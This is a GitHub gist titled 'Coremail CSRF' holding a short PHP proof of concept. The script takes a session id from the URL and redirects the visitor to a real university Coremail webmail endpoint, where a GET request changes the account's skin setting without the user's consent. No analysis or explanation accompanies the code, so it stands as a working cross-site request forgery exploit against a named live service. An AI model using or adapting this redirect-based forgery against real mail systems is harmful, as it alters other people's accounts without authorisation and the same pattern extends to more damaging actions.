Skip to content

Instantly share code, notes, and snippets.

@shuding
Created October 6, 2014 18:45
Show Gist options
  • Save shuding/9c7bcfece9b4e418b091 to your computer and use it in GitHub Desktop.
Save shuding/9c7bcfece9b4e418b091 to your computer and use it in GitHub Desktop.
Coremail CSRF
<?php
$sid = $_GET['sid'];
$postRequest = 'http://mail.fudan.edu.cn/coremail/changefaces.jsp?sid=' . $sid;
$postParams = '&skin=red';
header( 'Location:' . $postRequest . $postParams );
exit;
?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment